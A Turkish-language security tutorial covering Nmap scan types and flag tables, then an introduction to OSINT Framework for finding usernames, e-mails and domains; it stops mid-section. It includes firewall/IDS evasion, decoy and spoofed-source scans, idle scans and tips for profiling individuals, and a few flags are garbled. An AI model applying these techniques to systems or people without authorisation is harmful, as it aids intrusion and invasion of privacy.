Bu örnek siberyavzular.com için yapılan Nmap taramasının sonucunda 80 ve 433 portlarının açık olduğunu göstermektedir.

<figure><img src="/files/qZOdpR94iz8Kw8TMfTUN" alt=""><figcaption></figcaption></figure>

22 numaralı portu taradığımız zaman filtreli olduğunu görüyoruz ve arka planın nasıl işlediğini, bilgisayarlar arasındaki haberleşmenin nasıl olduğunu anlamak adına wireshark aracı ile siberyavuzlar.com adresine gönderdiğimiz paketleri inceliyoruz.

<figure><img src="/files/GzzWUjshQ6sRF4gtg9pJ" alt=""><figcaption></figcaption></figure>

Sorguda state’in filtreli olarak görünmesindeki sebep ana bilgisayar ip adresinden hedef ip adresine TCP üserinden gönderilen SYNchronize paketine karşılık bir cevap alamamasından kaynaklandığını görebiliyoruz.

*-Pn: Ping taramasını atla anlamına gelir. nmap, normalde hedefin çevrimiçi olup olmadığını kontrol etmek için ping gönderir. -Pn seçeneği ile bu kontrol atlanır ve doğrudan port taraması yapılır. Bu, hedefin ping yanıtlarını engellediği durumlarda kullanışlıdır.*

*-p 22: Taramanın sadece 22 numaralı port üzerinde yapılacağını belirtir. Bu port genellikle SSH (Secure Shell) hizmeti için kullanılır.*

## TCP Syn (Yarı Açık) Taraması

TCP Syn taraması, kaynak cihazın hedef cihaza TCP SYN işaretli segment göndermesiyle başlar. Bu işlem, portların durumunu tespit etmek için kullanılan yarı açık veya prematüre bir tarama tekniğidir. Kapalı portlara karşı hedef cihaz RST + ACK işaretli bir segment ile yanıt verirken, açık portlara karşı SYN + ACK işaretli bir segment döner. Kaynak cihaz, bağlantıyı sonlandırmak için bir RST segmenti gönderir, böylece TCP üç yönlü el sıkışması tamamlanmamış olur. Bu yöntemin kullanımı için aşağıdaki komut önerilir:

nmap -sS -v \[Hedef\_IP]

-sS: TCP SYN (Yarı Açık) Taraması. TCP bağlantısının ilk aşamasını (SYN) kullanarak port durumunu kontrol eder. Bu yöntem tam bir TCP bağlantısı kurmadan portların açık olup olmadığını belirler.

## TCP Connect Taraması

TCP Connect taraması, kaynak cihazın hedef cihazla tam bir TCP bağlantısı kurma girişiminde bulunduğu bir yöntemdir. Kapalı portlara yapılan taramalarda hedef cihaz RST + ACK işaretli bir segment dönerken, açık portlar için üç yönlü el sıkışma tamamlanır. Bu tarama yöntemi için kullanılacak komut şu şekildedir:

nmap -sT -v \[Hedef\_IP]

-sT: TCP Connect Taraması. Kaynak cihazın hedef cihazla tam bir TCP bağlantısı kurmasını denediği tarama türüdür. Sistem çağrıları kullanılarak gerçekleştirilir ve tam bir el sıkışma işlemi yapılır.

## FIN (Gizli) Taraması

FIN taraması, hedef cihaza bir TCP bağlantı talebi olmaksızın FIN işaretli bir segment gönderilmesini içerir. Kapalı portlar, RST + ACK işaretli bir segment ile yanıt verirken, açık portlar herhangi bir yanıt vermez. Bu yöntem için kullanılması gereken komut aşağıdaki gibidir:

nmap -sF -v \[Hedef\_IP]

-sF: FIN (Gizli) Taraması. Hedefe bir TCP FIN paketi gönderilir. Açık portlar genellikle herhangi bir yanıt göndermezken, kapalı portlar bir RST paketi gönderir.

## Xmas Taraması

Xmas taraması, TCP segmentine URG, PSH ve FIN bayraklarının ayarlandığı bir tarama türüdür. Kapalı portlar, RST + ACK işaretli bir segment ile yanıt verirken, açık portlardan herhangi bir yanıt gelmez. Bu tarama için önerilen komut şöyledir:

nmap -sX -v \[Hedef\_IP]

-sX: Xmas Taraması. URG, PSH ve FIN bayrakları birlikte ayarlanmış TCP paketleri gönderilir. Bu da kapalı portların RST ile yanıt vermesine, açık portların ise genellikle sessiz kalmasına neden olur.

## Null Taraması

Null taraması, herhangi bir bayrağın bulunmadığı bir tarama yöntemidir. Kapalı portlar RST + ACK işaretli bir segment ile yanıt verirken, açık portlardan yanıt gelmez. Bu tarama tekniğini uygulamak için aşağıdaki komut kullanılmalıdır:

nmap -sN -v \[Hedef\_IP]

-sN: Null Taraması. TCP bayrakları ayarlanmamış paketler gönderilir. Kapalı portlar RST ile yanıt verirken, açık portlar genellikle yanıt vermez.

## Ping Taraması

Ping taraması, kaynak cihazın hedef cihaza bir ICMP Echo istek paketi göndermesi ve hedef cihazın bu isteğe bir Echo cevabı döndürmesi prensibine dayanır. Erişilebilir ve ICMP filtrelemesi olmayan cihazlar cevap döner. Bu tarama için kullanılacak komut şudur:

nmap -sP -v \[Hedef\_IP]

-sP: Ping Taraması. Hedefin canlı olup olmadığını kontrol etmek için ICMP Echo istekleri veya diğer yöntemler (TCP/UDP paketleri) kullanılır.

## UDP Taraması

UDP taraması, kaynak cihazın hedef cihaza UDP datagramları gönderdiği ve hedef cihazın bu datagramlara nasıl tepki verdiğine bağlı olarak port durumunu belirlediği bir yöntemdir. Bu tarama için önerilen komut aşağıda verilmiştir:

nmap -sU -v \[Hedef\_IP]

-sU: UDP Taraması. UDP datagramları gönderilerek hedefin UDP portlarının durumu kontrol edilir. Açık/kapalı/yarı açık portlar farklı yanıtlar verebilir.

## IP Protokol Taraması

IP Protokol taraması, hedef cihazlar üzerinde çalışan IP tabanlı protokollerin tespit edilmesini amaçlar. Aktif protokoller herhangi bir yanıt döndürmezken, pasif protokoller RST bayraklı bir segment ile yanıt verir. Bu tarama yöntemi için kullanılması gereken komut şu şekildedir:

nmap -sO -v \[Hedef\_IP]

-sO: IP Protokol Taraması. Hedefte desteklenen IP protokollerini saptamak için kullanılır. Farklı IP protokol numaralarına sahip paketler gönderilir.

## ACK Taraması

ACK taraması, kaynak cihazın hedef cihaza TCP ACK işaretli bir segment göndermesi ve hedef cihazın bu isteğe nasıl tepki gösterdiğine bağlı olarak port durumunu belirleme yöntemidir. Bu tarama için önerilen komut şöyledir:

nmap -sA -v \[Hedef\_IP]

-sA: ACK Taraması. Bu tarama yöntemi, ağdaki filtreleme kurallarını belirlemek için kullanılır. Gönderilen ACK paketleriyle hangi portların durum filtreli olduğunu anlamaya çalışır.

## Window Taraması

Window taraması, ACK taramasına benzer ancak TCP pencereleme mekanizması üzerinden portların açık olup olmadığını belirleyebilir. Bu tarama yöntemi için kullanılacak komut aşağıdaki gibidir:

nmap -sW -v \[Hedef\_IP]

-sW: Window Taraması. ACK taramasına benzer şekilde çalışır ancak TCP pencere boyutu bilgisini kullanarak portların durumunu belirlemeye çalışır.

## IdleScan

IdleScan, kaynak cihazın tarama sürecinde aktif rol almadığı, başka cihazlar üzerinden hedef cihazı tarayarak bilgi toplama yöntemidir. Bu tarama için kullanılması gereken komut şudur:

nmap -sI -v \[Zombie\_IP] \[Hedef\_IP]

-sI: IdleScan. "Zombie" bilgisayarın IP adresi kullanılarak, taramanın kaynağının gizlenmesini sağlayan gelişmiş bir tarama yöntemidir. Tarama sonuçlarını öğrenmek için hedefe doğrudan paket göndermek yerine, ara bilgisayar (zombie) kullanılır.

**-v :** seçeneği Nmap'te "verbose" modunu etkinleştirir. Bu mod, tarama sırasında daha fazla çıktı ve bilgi sağlar, böylece kullanıcı taramanın ilerleyişi hakkında daha detaylı geri bildirim alır. Özellikle, karmaşık tarama senaryolarında veya hata ayıklama sırasında ne olup bittiğini anlamak için yararlıdır. -v seçeneğini kullanarak, açılan portlar, tarama süresi, hedef hostların durumu ve daha fazlası gibi tarama işlemine dair ek bilgiler elde edilebilir.

## Tüm Komutlar ve Bayraklar

### Hedef Belirtimi

| ANAHTAR  | ÖRNEK                        | TARİF                                   |
| -------- | ---------------------------- | --------------------------------------- |
|          | nmap 192.168.1.1             | Tek bir IP'yi tarayın                   |
|          | nmap 192.168.1.1 192.168.2.1 | Belirli IP'leri tarayın                 |
|          | nmap 192.168.1.1-254         | Bir aralığı tarayın                     |
|          | nmap scanme.nmap.org         | Etki alanını tarayın                    |
|          | nmap 192.168.1.0/24          | CIDR gösterimini kullanarak tarama      |
| -ıl      | nmap -iL targets.txt         | Dosyaları bir dosyadan tarama           |
| -ır      | nmap -iR 100                 | 100 rastgele ana bilgisayarı tarayın    |
| -exclude | nmap -exclude 192.168.1.1    | Listelenen ana bilgisayarları hariç tut |

### Nmap Tarama Teknikleri

| ANAHTAR | ÖRNEK                | TARİF                                                             |
| ------- | -------------------- | ----------------------------------------------------------------- |
| -sS     | nmap 192.168.1.1 -sS | TCP SYN bağlantı noktası taraması (Varsayılan)                    |
| -sT     | nmap 192.168.1.1 -sT | TCP bağlantı noktası taraması (Kök ayrıcalığı olmadan varsayılan) |
| -sU     | nmap 192.168.1.1 -sU | UDP bağlantı noktası taraması                                     |
| -Sa     | nmap 192.168.1.1 -sA | TCP ACK bağlantı noktası taraması                                 |
| -Sw     | nmap 192.168.1.1 -sW | TCP Penceresi bağlantı noktası taraması                           |
| -Sm     | nmap 192.168.1.1 -sM | TCP Maimon bağlantı noktası taraması                              |

### Ana Bilgisayar Keşfi

| ANAHTAR | ÖRNEK                          | TARİF                                                                          |
| ------- | ------------------------------ | ------------------------------------------------------------------------------ |
| -Sl     | nmap 192.168.1.1-3 -sL         | Tarama yok. Yalnızca hedefleri listeleyin                                      |
| -sn     | nmap 192.168.1.1/24 -sn        | Bağlantı noktası taramasını devre dışı bırakın. Yalnızca ana bilgisayar keşfi. |
| -Pn     | nmap 192.168.1.1-5 -pn         | Ana bilgisayar bulmayı devre dışı bırakın. Yalnızca bağlantı noktası taraması. |
| -PS     | nmap 192.168.1.1-5 -PS22-25,80 | <p>Varsayılan olarak x.Port<br>80 bağlantı noktasında TCP SYN keşfi</p>        |
| -PA     | nmap 192.168.1.1-5 -PA22-25,80 | <p>Varsayılan olarak x.Port<br>80 bağlantı noktasında TCP ACK keşfi</p>        |
| -PU     | nmap 192.168.1.1-5 -PU53       | <p>Varsayılan olarak x.Port<br>40125 bağlantı noktasında UDP keşfi</p>         |
| -PR     | nmap 192.168.1.1-1/24 -PR      | Yerel ağda ARP keşfi                                                           |
| -n      | nmap 192.168.1.1 -n            | Hiçbir zaman DNS çözümlemesi yapmayın                                          |

### Bağlantı Noktası Özellikleri

| ANAHTAR                 | ÖRNEK                               | TARİF                                                                                                           |
| ----------------------- | ----------------------------------- | --------------------------------------------------------------------------------------------------------------- |
| -p                      | nmap 192.168.1.1 -p 21              | x bağlantı noktası için bağlantı noktası taraması                                                               |
| -p                      | nmap 192.168.1.1 -p 21-100          | Bağlantı noktası aralığı                                                                                        |
| -p                      | nmap 192.168.1.1 -p U:53,T:21-25,80 | Bağlantı noktası taraması: birden çok TCP ve UDP bağlantı noktası                                               |
| -p                      | nmap 192.168.1.1 -p-                | Bağlantı noktası taraması tüm bağlantı noktaları                                                                |
| -p                      | nmap 192.168.1.1 -p http,https      | Hizmet adından bağlantı noktası taraması                                                                        |
| -F                      | nmap 192.168.1.1 -F                 | Hızlı bağlantı noktası taraması (100 bağlantı noktası)                                                          |
| -üst-bağlantı noktaları | nmap 192.168.1.1 -top-ports 2000    | Bağlantı noktası taraması: üst x bağlantı noktası                                                               |
| -p-65535                | nmap 192.168.1.1 -p-65535           | İlk bağlantı noktasını aralık içinde bırakmak, taramanın 1 numaralı bağlantı noktasından başlamasını sağlar     |
| -p0-                    | nmap 192.168.1.1 -p0-               | <p>Uç bağlantı noktasını aralıkta<br>bırakmak, taramanın 65535 numaralı bağlantı noktasına geçmesini sağlar</p> |

### Hizmet ve Sürüm Algılama

| ANAHTAR                | ÖRNEK                                     | TARİF                                                                                 |
| ---------------------- | ----------------------------------------- | ------------------------------------------------------------------------------------- |
| -Sv                    | nmap 192.168.1.1 -sV                      | Bağlantı noktasında çalışan hizmetin sürümünü belirlemeye çalışır                     |
| -sV -version-intensity | nmap 192.168.1.1 -sV -version-intensity 8 | Yoğunluk seviyesi 0 ila 9. Daha yüksek sayı, doğruluk olasılığını artırır             |
| -sV -version-light     | nmap 192.168.1.1 -sV -version-light       | Işık modunu etkinleştirin. Daha düşük doğruluk olasılığı. Hızlı                       |
| -sV -version-all       | nmap 192.168.1.1 -sV -version-all         | Yoğunluk düzeyi 9'u etkinleştirin. Daha yüksek doğruluk olasılığı. Yavaş              |
| -Bir                   | nmap 192.168.1.1 -A                       | İşletim sistemi algılama, sürüm algılama, komut dosyası taraması ve traceroute sağlar |

### **İşletim Sistemi Algılama**

| ANAHTAR          | **ÖRNEK**                           | **TARİF**                                                                                                               |
| ---------------- | ----------------------------------- | ----------------------------------------------------------------------------------------------------------------------- |
| -O               | nmap 192.168.1.1 -O                 | TCP/IP yığını parmak izi kullanarak uzak işletim sistemi algılama                                                       |
| -O -osscan-limit | nmap 192.168.1.1 -O -osscan-limit   | En az bir açık ve bir kapalı TCP bağlantı noktası bulunamazsa, ana bilgisayara karşı işletim sistemi algılamayı denemez |
| -O -osscan-guess | nmap 192.168.1.1 -O -osscan-guess   | Nmap'in daha agresif bir şekilde tahmin etmesini sağlar                                                                 |
| -O -max-os-tries | nmap 192.168.1.1 -O -max-os-tries 1 | Bir hedefe karşı en fazla x işletim sistemi algılama denemesi sayısını ayarlayın                                        |
| -Bir             | nmap 192.168.1.1 -A                 | İşletim sistemi algılama, sürüm algılama, komut dosyası taraması ve traceroute sağlar                                   |

### **Zamanlama ve Performans**

| ANAHTAR | **ÖRNEK**            | **TARİF**                                                                                                     |
| ------- | -------------------- | ------------------------------------------------------------------------------------------------------------- |
| -T0     | nmap 192.168.1.1 -T0 | Paranoyak (0) İzinsiz Giriş Tespit Sisteminden kaçınma                                                        |
| -T1     | nmap 192.168.1.1 -T1 | Sinsi (1) İzinsiz Giriş Tespit Sistemi kaçınma                                                                |
| -T2     | nmap 192.168.1.1 -T2 | Kibar (2) daha az bant genişliği kullanmak ve daha az hedef makine kaynağı kullanmak için taramayı yavaşlatır |
| -T3     | nmap 192.168.1.1 -T3 | Varsayılan hız olan Normal (3)                                                                                |
| -T4     | nmap 192.168.1.1 -T4 | Agresif (4) taramaları hızlandırır; Oldukça hızlı ve güvenilir bir ağda olduğunuzu varsayar                   |
| -T5     | nmap 192.168.1.1 -T5 | Çılgın (5) taramayı hızlandırır; olağanüstü hızlı bir ağda olduğunuzu varsayar.                               |

### **Zamanlama ve Performans Anahtarları**

| ANAHTAR                                                      | **ÖRNEK GİRİŞ** | **TARİF**                                                                      |
| ------------------------------------------------------------ | --------------- | ------------------------------------------------------------------------------ |
| -host-timeout \<time>                                        | 1s; 4m; 2h      | Bu kadar uzun süre sonra hedeften vazgeçin                                     |
| -min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout \<time> | 1s; 4m; 2h      | Yoklama gidiş dönüş süresini belirtir                                          |
| -min-hostgroup/max-hostgroup \<size\<size>                   | 50; 1024        | Paralel ana bilgisayar tarama grubu boyutları                                  |
| -min-parallelism/max-parallelism \<numprobes>                | 10; 1           | Prob paralelleştirmesi                                                         |
| -max-retries \<tries>                                        | 3               | Bağlantı noktası tarama probu yeniden iletimlerinin maksimum sayısını belirtin |
| -min-rate \<sayı>                                            | 100             | Saniyede \<sayı>'dan daha yavaş olmayan paketler gönderin                      |
| -max-rate \<sayı>                                            | 100             | Saniyede \<sayı>'dan daha hızlı olmayan paketler gönderin                      |

### **NSE Komut Dosyaları**

| ANAHTAR         | **ÖRNEK**                                                               | **TARİF**                                                                                    |
| --------------- | ----------------------------------------------------------------------- | -------------------------------------------------------------------------------------------- |
| -Sc             | nmap 192.168.1.1 -sC                                                    | Varsayılan NSE komut dosyalarıyla tarayın. Keşif için yararlı ve güvenli olarak kabul edilir |
| -script default | nmap 192.168.1.1 -script default                                        | Varsayılan NSE komut dosyalarıyla tarayın. Keşif için yararlı ve güvenli olarak kabul edilir |
| -script         | nmap 192.168.1.1 -script=banner                                         | Tek bir komut dosyası ile tarayın. Örnek banner                                              |
| -script         | nmap 192.168.1.1 -script=http\*                                         | Joker karakterle tarayın. Örnek http                                                         |
| -script         | nmap 192.168.1.1 -script=http,banner                                    | İki komut dosyasıyla tarayın. Örnek http ve banner                                           |
| -script         | nmap 192.168.1.1 -script "not intrusive"                                | Varsayılanı tara, ancak araya giren komut dosyalarını kaldır                                 |
| -script-args    | nmap -script snmp-sysdescr -script-args snmpcommunity=admin 192.168.1.1 | Bağımsız değişkenler içeren NSE komut dosyası                                                |

### **Faydalı NSE Komut Dosyası Örnekleri**

| **KOMUT**                                                                                                               | **TARİF**                                                                 |
| ----------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------- |
| nmap -Pn -script=http-sitemap-generator scanme.nmap.org                                                                 | HTTP Site Haritası Oluşturucu                                             |
| nmap -n -Pn -p 80 -open -sV -vvv -script banner,http-title -iR 1000                                                     | Rastgele web sunucuları için hızlı arama                                  |
| nmap -Pn -script=dns-brute domain.com                                                                                   | Brute, DNS ana bilgisayar adlarını alt alan adlarını tahmin etmeye zorlar |
| nmap -n -Pn -vv -O -sV -script smb-enum\*,smb-ls,smb-mbenum,smb-os-discovery,smb-s\*,smb-vuln\*,smbv2\* -vv 192.168.1.1 | Çalıştırılacak güvenli SMB betikleri                                      |
| nmap -script whois\* domain.com                                                                                         | Whois sorgulama                                                           |
| nmap -p80 -script http-unsafe-output-escaping scanme.nmap.org                                                           | Siteler arası komut dosyası çalıştırma güvenlik açıklarını algılama       |
| nmap -p80 -script http-sql-injection scanme.nmap.org                                                                    | SQL enjeksiyonlarını kontrol edin                                         |

### **Güvenlik Duvarı / IDS'den Kaçınma ve Sahtekarlık**

| ANAHTAR      | **ÖRNEK**                                                                                         | **TARİF**                                                                                                      |
| ------------ | ------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------- |
| -f           | nmap 192.168.1.1 -f                                                                               | İstenen tarama (ping taramaları dahil) küçük parçalanmış IP paketleri kullanır. Paket filtreleri için daha zor |
| -Mtu         | nmap 192.168.1.1 -mtu 32                                                                          | Kendi ofset boyutunuzu ayarlayın                                                                               |
| -D           | nmap -D 192.168.1.101,192.168.1.102,192.168.1.103,192.168.1.23 192.168.1.1                        | Sahte IP'lerden taramalar gönderme                                                                             |
| -D           | nmap -D decoy-ip1,decoy-ip2,your-own-ip,decoy-ip3,decoy-ip4 remote-host-ip                        | Yukarıdaki örnek açıklanmıştır                                                                                 |
| -S           | nmap -S [www.microsoft.com](http://www.microsoft.com) [www.facebook.com](http://www.facebook.com) | Facebook'u Microsoft'tan tarayın (-e eth0 -Pn gerekebilir)                                                     |
| -g           | nmap -g 53 192.168.1.1                                                                            | Verilen kaynak bağlantı noktası numarasını kullan                                                              |
| -proxies     | nmap -proxies <http://192.168.1.1:8080>, <http://192.168.1.2:8080> 192.168.1.1                    | HTTP/SOCKS4 proxy'leri aracılığıyla geçiş bağlantıları                                                         |
| -data-length | nmap -data-length 200 192.168.1.1                                                                 | Gönderilen paketlere rastgele veriler ekler                                                                    |

### **Çıktı**

| ANAHTAR        | **ÖRNEK**                                     | **TARİF**                                                                                         |
| -------------- | --------------------------------------------- | ------------------------------------------------------------------------------------------------- |
| -oN            | nmap 192.168.1.1 -oN normal.file              | normal.file dosyasına normal çıktı                                                                |
| -oX            | nmap 192.168.1.1 -oX xml.file                 | xml.file dosyasına XML çıktısı                                                                    |
| -oG            | nmap 192.168.1.1 -oG grep.file                | grep.file dosyasına grepable çıktı                                                                |
| -Oa            | nmap 192.168.1.1 -oA results                  | Aynı anda üç ana formatta çıktı alın                                                              |
| -oG -          | nmap 192.168.1.1 -oG -                        | Ekrana yönlendirilebilir çıkış. -oN -, -oX - ayrıca kullanılabilir                                |
| -append-output | nmap 192.168.1.1 -oN file.file -append-output | Önceki bir tarama dosyasına tarama ekleme                                                         |
| -v             | nmap 192.168.1.1 -v                           | Ayrıntı düzeyini artırın (daha fazla etki için -vv veya daha fazlasını kullanın)                  |
| -d             | nmap 192.168.1.1 -d                           | Hata ayıklama düzeyini artırın (daha fazla etki için -dd veya daha fazlasını kullanın)            |
| -reason        | nmap 192.168.1.1 -reason                      | Bir bağlantı noktasının belirli bir durumda olmasının nedenini, -vv ile aynı çıktıyı görüntüleyin |
| -open          | nmap 192.168.1.1 -open                        | Yalnızca açık (veya muhtemelen açık) bağlantı noktalarını göster                                  |
| -packet-trace  | nmap 192.168.1.1 -T4 -packet-trace            | Gönderilen ve alınan tüm paketleri göster                                                         |
| -iflist        | nmap -iflist                                  | Ana bilgisayar arayüzlerini ve rotalarını gösterir                                                |
| -resume        | nmap -resume results.file                     | Taramayı sürdürme                                                                                 |

### **Yararlı Nmap Çıktı örnekleri**

| **KOMUT**                                                                              | **TARİF**                                                                                        |
| -------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------ |
| nmap -p80 -sV -oG - -open 192.168.1.1/24 \| grep open                                  | Hangi IP'lerin web sunucularını çalıştırdığını göstermek için web sunucularını ve grep'i tarayın |
| nmap -iR 10 -n -oX out.xml \| grep "Nmap" \| cut -d " " -f5 > live-hosts.txt           | Canlı ana bilgisayarların IP'lerinin bir listesini oluşturun                                     |
| nmap -iR 10 -n -oX out2.xml \| grep "Nmap" \| cut -d " " -f5 >> live-hosts.txt         | IP'yi canlı toplantı sahipleri listesine ekleyin                                                 |
| ndiff scanl.xml scan2.xml                                                              | ndif kullanarak nmap'ten çıktıyı karşılaştırın                                                   |
| xsltproc nmap.xml -o nmap.html                                                         | Nmap xml dosyalarını html dosyalarına dönüştürün                                                 |
| grep " open " results.nmap \| sed -r ‘s/ +/ /g’ \| sort \| uniq -c \| sort -rn \| less | Bağlantı noktalarının ne sıklıkta açıldığını gösteren ters sıralanmış liste                      |

### **Çeşitli Nmap Bayrakları**

| ANAHTAR | **ÖRNEK**                    | **TARİF**                   |
| ------- | ---------------------------- | --------------------------- |
| -6      | nmap -6 2607:f0d0:1002:51::4 | IPv6 taramasını etkinleştir |
| -h      | nmap -h                      | nmap yardım ekranı          |

###

### **Diğer Faydalı Nmap Komutları**

| **KOMUT**                                       | **TARİF**                                                                                     |
| ----------------------------------------------- | --------------------------------------------------------------------------------------------- |
| nmap -iR 10 -PS22-25,80,113,1050,35000 -v -sn   | Yalnızca x bağlantı noktalarında keşif, bağlantı noktası taraması yok                         |
| nmap 192.168.1.1-1/24 -PR -sn -vv               | Arp keşfi yalnızca yerel ağda, bağlantı noktası taraması yok                                  |
| nmap -iR 10 -sn -traceroute                     | Rastgele hedeflere traceroute, port taraması yok                                              |
| nmap 192.168.1.1-50 -sL -dns-server 192.168.1.1 | Ana bilgisayarlar için İç DNS'yi sorgulayın, yalnızca hedefleri listeleyin                    |
| nmap 192.168.1.1 --packet-trace                 | Tarama sırasında gönderilen ve alınan paketlerin ayrıntılarını gösterin ve trafiği yakalayın. |

{% embed url="<https://github.com/ozgur-karakus>" fullWidth="false" %}
Bu yazı Özgür Karakuş tarafından hazırlanmıştır.
{% endembed %}


# OSINT Framework

## OSINT Nedir?

<figure><img src="/files/Xg9jsAK3KlnhtxTZMTVC" alt="" width="570"><figcaption></figcaption></figure>

Open Source Intelligence (OSINT) yani Açık Kaynak İstihbaratı, herkese açık kaynaklardan toplanabilen bilgiler olarak açıklanabilir. Pentest veya profesyonel siber saldırıların ilk aşaması "Pasif Bilgi Toplama"nın tamamını oluşturur. Pasif bilgi toplama denilen kavram ise hedefteki kişi veya firmayla direkt temasa geçmeden yapılan bilgi toplama faaliyetidir. Bu konuyu kısaca açıklamak gerekirse; bir kişinin evlenmeden önceki soyadına erişmek istiyoruz. Bu bilgiyi bulmak için sosyal medya hesapları biçilmez bir kaftandır. Kişinin hesaplarını inceleyerek babasının veya erkek kardeşlerinin hesapları bulunabilirse rahat bir şekilde bu bilgiye erişilmiş olunur.

Yukarıdaki örnek basitçe konuyu özetlese de her zaman bu şekilde bilgi toplamak mümkün değildir. Çünkü sadece kişilerin değil firmaların da bilgilerine ulaşılması gerekir ve bunlar için de bazı toolar vardır. Bu yazımızda bu toollardan olan Osint Framework'ü açıklayacağız.

## OSINT Framework Nedir?

<figure><img src="/files/UqbInIe5uiYI8xOK5KyJ" alt="" width="570"><figcaption></figcaption></figure>

OSINT Framework; hedefle ilgili sosyal medya hesaplarını, e-mail adreslerini, kullanılan domainleri ve daha birçok bilgiyi bulabilmemizi sağlayan bir araçtır. Bu araç Kali Linux'e kurulabildiği gibi "<https://osintframework.com>" adresinden de bu araca ulaşmak mümkündür.

OSINT Framework'ün sağ üst köşesinde bulunan sınıflandırması vardır. Bu sınıflandırmalar ileride kullanılacağından burada bahsetmekte yarar var.

1. (T) - Yerel olarak kurulması ve çalıştırılması gereken bir araca bir bağlantıyı gösterir.
2. (D) - Daha fazla bilgi için Google Hacking'e yönlendiren bir Google Dork'u ifade eder.
3. (R) - Kayıt gerektirir.
4. (M) - Arama terimini içeren bir URL'yi ifade eder ve URL kendisi manuel olarak düzenlenmelidir.

## OSINT Framework'ün İçinde Bulunan ve Sıkça Kullanılan Kategoriler

### 1. Username

<figure><img src="/files/CAJYdbBg3qZ8IYXCmE5l" alt="" width="570"><figcaption></figcaption></figure>

Bu kategori username bilgisine sahip olduğumuz bir kişinin veya firmanın başka sitelerde de aynı username bilgisiyle hesabı olup olmadığını bulmamızı sağlar.

Yukarıda da görüldüğü üzere genel ve özel olarak username araması yapılabilmektedir. Genel arama yapan toollar popüler sosyal medya hesaplarında verilen username bilgisinde kayıtlı hesapların olup olmadığını kontrol eder ve sonuçları döndürür. Özel arama yapan toollardaysa Amazon, Github ve Tinder için kullanılabilecek URL'i gösterir (M) ve buna göre hesabın olup olmadığı incelenebilir. Örnek olması adına burada çok sık tercih edilen "Namechk" toolunu tanıtmak doğru olacaktır.

<figure><img src="/files/PYnGUx4xjst8QOD5GX9W" alt="" width="570"><figcaption></figcaption></figure>

Yukarıda da gösterildiği gibi arama kısmına hedef alınan kişinin veya firmanın ismini yazıp CAPTCHA doğrulamasını sağlayarak arama gerçekleştirilebilmektedir.

<figure><img src="/files/curU3CsTyry04sgpP2op" alt="" width="570"><figcaption></figcaption></figure>

Ufak bir tarama süresinin ardından hedefe ait olabilecek domain ve sosyal medya hesapları listelenmektedir.

### 2. E-mail Adresi

<figure><img src="/files/qgVc4Yw6ucmzGeVGdLGu" alt="" width="570"><figcaption></figcaption></figure>

E-mail kategorisinde e-mail hesabı öğrenme, yaygın e-mail biçimleri, e-mail doğrulama, e-mail'in daha önce leak (DarkWeb gibi bir yerlerde daha önce afişe olma durumu) olup olmama durumunu görme ve e-mail'in daha önce blacklistlere düşüp düşmediğini görme gibi alt kategoriler yer almaktadır. Bunların büyük bir kısmı ücretli veya kayıt gerektiren sistemlerden oluşsa da bazıları open source olarak kullanılabilmektedir.

1. Yaygın E-mail Formatları

<figure><img src="/files/AIt7GN5CVQ5MvxXqZjlC" alt="" width="570"><figcaption></figcaption></figure>

<figure><img src="/files/wZIhDbT97xomUYA0e7Bs" alt="" width="570"><figcaption></figcaption></figure>

"Metric Sparrow" isim, soyisim, nickname ve domain verek olası e-mail kombinasyonlarını görebilmek mümkündür. Bilgileri yukarıdaki gibi doldurdup "Permutate" butonuna basıldıktan sonra 51 farklı e-mail kombinasyonuna ulaşılabilmektedir.

2. E-mail Doğrulama

<figure><img src="/files/yFDrdAwCd8w6KjZ4zQdm" alt="" width="570"><figcaption></figcaption></figure>

"Email Reputation" verilen mail adresinin daha önce leak olup olmadığını ve sosyal medya hesaplarında kullanılıp kullanılmadığından yola çıkarak adresin güvenilir olup olmadığının ölçülmesine yardımcı olur. Phising saldırılarından korunmaya yardımcı olabilecek bir araç olarak görülebilir.

3. E-mail Daha Önce Leak Olmuş mu?

<figure><img src="/files/SBIRc5ZHngeTi9QdJt2F" alt="" width="570"><figcaption></figcaption></figure>

"Have I Been Pwned?" girilen e-mail adresinin daha önce DarkWeb gibi yerlere sızdırılıp mail adresine kayıtlı olan sosyal medya hesaplarından hangi bilgilerin leak olduğu gibi bilgilere ulaşmayı sağlar.

### 3. Domain Name

<figure><img src="/files/adJykVL3GdZGKIUcOwNt" alt="" width="570"><figcaption></figcaption></figure>

Domain name kategorisinde whois kayıtları, subdomainler, keşif tooları, sertifika arama tooları, Pasif DNS araçları, domainlerin güvenirliliğini ölçen toolar, blacklistte yer alan domainleri görme, yazım farklılığı olan fake domainleri görebilme, domain analizleri, sosyal analitikler, DNSSEC, bulut kaynakları, web zafiyerleri, toollar ve zararlı siteleri raporlama alt kategorileri bulunmaktadır.

1. Whois Kayıtları

<figure><img src="/files/v71KtqpEKsxJdFjO1asV" alt="" width="570"><figcaption></figcaption></figure>

Whois kullanıcılara bilgi sağlamak için TCP tabanlı bir sorgu/yanıt protokolüdür. Domain'in kuruluş, tarih, durum vb. bilgilerini verir. Aynı zamanda bir domain'in boşta olup olmadığını öğrenmek mümkündür.

Whois TCP 43. portundan çalışmaktadır. Servisin 43. portuna sorgu atarak gelen sorguyu işleyip whois bilgilerini döndürmektedir.

<figure><img src="/files/zTilaFix1RMZU1TPW0lx" alt="" width="570"><figcaption></figcaption></figure>

<figure><img src="/files/K7qVJqtcfTeVWZQlSGng" alt="" width="570"><figcaption></figcaption></figure>

<figure><img src="/files/dHApZZcBziceUrbVEvS2" alt="" width="570"><figcaption></figcaption></figure>

Yukarıdaki alana kayıt bilgisi görüntülenmek istenen sitenin domain veya IP bilgisi yazılıp aratıldığında domain ya da IP'nin DNS kayıtlarına ve ping-traceroute bilgilerine ulaşılabilmektedir.

2. Subdomains

<figure><img src="/files/Ioc3nRJGC70G9EQKssTX" alt="" width="570"><figcaption></figcaption></figure>

"www" ön ekiyle başlayan domainlerde spesifik alanları ifade edebilmek için subdomain adı verilen alt ifadeler kullanılır. Yukarıdaki görselde de görüldüğü üzere URL; protocol, subdomain, domain ve TLD sıralamasıyla oluşur.

<figure><img src="/files/CxDxn6xynxJzLCc31GXH" alt="" width="570"><figcaption></figcaption></figure>

Yukarıda görüldüğü üzere "sibervatan.org" adresine yapılan sorguda siteye ait subdomainler sıralanmaktadır.

3. Zafiyetli Siteler

